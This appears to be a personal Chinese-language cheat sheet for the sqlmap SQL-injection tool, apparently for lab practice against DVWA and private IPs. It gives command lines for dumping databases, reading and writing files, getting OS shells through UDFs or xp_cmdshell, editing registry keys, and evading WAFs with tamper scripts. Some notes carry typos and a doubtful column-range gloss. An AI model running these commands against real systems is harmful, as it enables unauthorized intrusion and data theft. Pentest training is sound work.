sqlmap
Get方法
sqlmap -hh #help
sqlmap -u "http://192.168.12.23/index.php?page=user-info&username=123&passwd=123456" -p username -f #-p 只检查username是否有注入 -f 指纹
-u #url
--users #数据库的帐号
--banners
--dbs #数据库的库
--scheme #库,表,属性
-a #all
sqlmap -d "mysql://username:passwd@192.168.1.1:3306/dvwa" -f --users --banner --dbs --scheme -a
-d #将sqlmap作为客户端连接数据库
-m [filename] #filename 多个的要查询的地址
-g #google查询
post方法
使用burpsuit获取post请求
cut paste --> post.txt
sqlmap -r post.txt --dbs
burpsuit --> log文件
1. options logging
2. proxy requests log.txt
3.sqlmap -l log.txt
https
sqlmap -u "https://1.1.1.1/1/php?id=1:8834" --force-ssl
config文件配置
sqlmap -c sqlmap.conf
request
`大小写敏感`
--level:
--data :
get/post
sqlmap -u "http://1.1.1.1/1.php" --data="id=67&oi=32" -f
--method:
指定get或post --method=GET
--param-del:
变量分隔符
--cookie:
--drop-set-cookie:
默认为 set-cookie
sqlmap会自动更换cookie
当`level >= 2`时才会检测cookie是否有注入
--user-agent:
--random-agent:
/usr/share/sqlmap/data/txt/user-agents.txt
当`level >= 3`时才会检测user-agent是否有注入
--host:
当`level >= 5`时才会检测host是否有注入
--referer:
`level >= 3`
--headers:
额外的headers头
--headers="Host:dsdsds\nUser-Agent:dsdsads\n"
--auth-cert: --auth-file:
身份认证
客户端身份认证 PEM格式证书
http(s)代理
--proxy="http://1.1.1.1:8080"
--proxy-cert="username:passwd"
--ignore-proxy #忽略系统代理设置,用于本地扫描
减少请求
--delay:
float, 秒为单位
--timeout:
default = 30s
--retries:
default = 3
--randomize:
sqlmap -u "http://1.1.1.1/1.php" --data="id=100" --randomize="id"
每次随机id,同时保证id格式不变,如:"100","111"."001"
--scope:
日志过滤,仅仅匹配scope,使用正则表达式
sqlmap -l post.log --scope="(www)?\.target\.(com | net | edu)"
--safe-url --safe-freq:
防止连续的不正确注入(302)导致服务器封杀
--safe-freq 几次注入加一次正常请求
--skip-urlencode:
不进行URL编码,直接使用原数据进行提交
--eval:
每次请求执行指定的python代码
sqlmap -u "http://1.1.1.1/a.php?id=1&hash=ceasdsdsadadadadadsad" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
性能优化
-o:
--predict-output:
根据返回值与统计表,不断减少检测范围
与 `--threads`参数不兼容
统计表:/usr/share/sqlmap/data/txt/common-outputs.txt
或/usr/share/sqlmap/txt/common-outputs.txt
--keep-alive:
与`--proxy`不兼容
长连接 http(s)
--null-connection
只获取页面大小,不获取具体内容
通常用于盲注,降低网络带宽
与`--text-only`(基于页面内容盲注)不兼容
--threads:
最大线程数 default = 1
盲注每个线程 7 确定一个字符,最高位为0
建议不要过10,可能引起站点可用性
与`--predict-output`不兼容
injection
-p:
指定扫描的参数,会使`--level`失效
-p [1,2,3...]
--skip:
排除扫描的参数
`uri注入点`:
在需要的后加*
sqlmap -u "http://1.1.1.1/param1/value1*/param2/value2"
--dbms:
指定数据库
mysql oracle microsoft_sql_server ...
--os:
指定os
--invalid-bignum / --invalid-logical:
sqlmap默认使用取负值使参数失效 id = 10 --> -10
id = 999999999
id = 12 and 18 = 19
--no-cast:
将结果转为字符串,并且用空格替换NULL结果
老板本数据库需要开启
--no-escape:
将关闭char()编码逃逸的方法替换字符串
--prefix --suffix:
闭合前缀与后缀
--tamper:
混淆脚本,用于绕过应用层过滤, IPS, WAF
tmaper/between.py ...
detection
--level:
[1 -- 5]
/usr/share/sqlmap/xml/payloads
--risk:
[1 -- 4]
risk可能会造成数据内容篡改
--string. --not-string, --regexp, --code, --text-only, --files
页面比较
techniques
默认使用全部技术
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries(文件系统,操作系统,注册表必须)
T: Time-based blind
--time-sec:
时间盲注延时,default = 5
--union-cols:
默认联合查询1-10列
--nuion-cols 6-9 #查询7-10列
--union-char
联合查询默认NULL,可以指定该参数
--dns-domain:
--second-order:
在一个页面注入,从另外一个页面体现出来
--second-order="http://1.1.1.1/b.php"
-f
-b
枚举
--current-user
• --current-db
• --hostname
• --users
• --privileges -U username
• --roles
• --dbs
• --tables, --exclude-sysdbs –D dvwa
• -T users -D dvwa -C user --columns
--schema --batch --exclude-sysdbs
• --count
Dump:
• --dump, -C, -T, -D, --start, --stop
• --dump-all --exclude-sysdbs
• --sql-query "select * from users"
--udf-inject , --shared-lib
file system
--file-read:
--file-write="1.txt" --file-dest="/tmp/1.txt"
os
--os-cmd
--os-shell
--sql-shell
mysql, postgresql:
上传sys_exec(), sys_eval()两个UDF
mmsql:
xp_cmdshell
windows registory
--reg-read
--reg-add
--reg-del
--reg-key --reg-value --reg-data --reg-ype
sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --
reg-type=REG_SZ --reg-data=1
general
-s:sqlite会话文件保存位置
-t:流量文件保存位置
--charest:强制字符编码
--crawl:
--cvs-del:
--dbms-cred:
--flush-session:
--force-ssl
--fresh-queries:忽略session查询结果
--hex:
--output-dir
--parese-errors
--save:保存配置至文件
missellaneous
--answer:
--check-waf:检测WAF/IPS/IDS
--hpp:
http parameter pollution
绕过WAF/IPS/IDS
尤其对ASP/IIS ASP.NET/IIS
--identify-waf:
彻底的waf/ips/ids检查
--moblie:
模拟手机设备
--smart:
--purge-output:
清除output文件夹
--smart:
当有大量检测目标时,只基于错误检测结果
--wizard:
向导模式
代理使用
sqlmap.py --proxy=(http|https|socks4|socks5)?/address:port --proxy-cred=username:password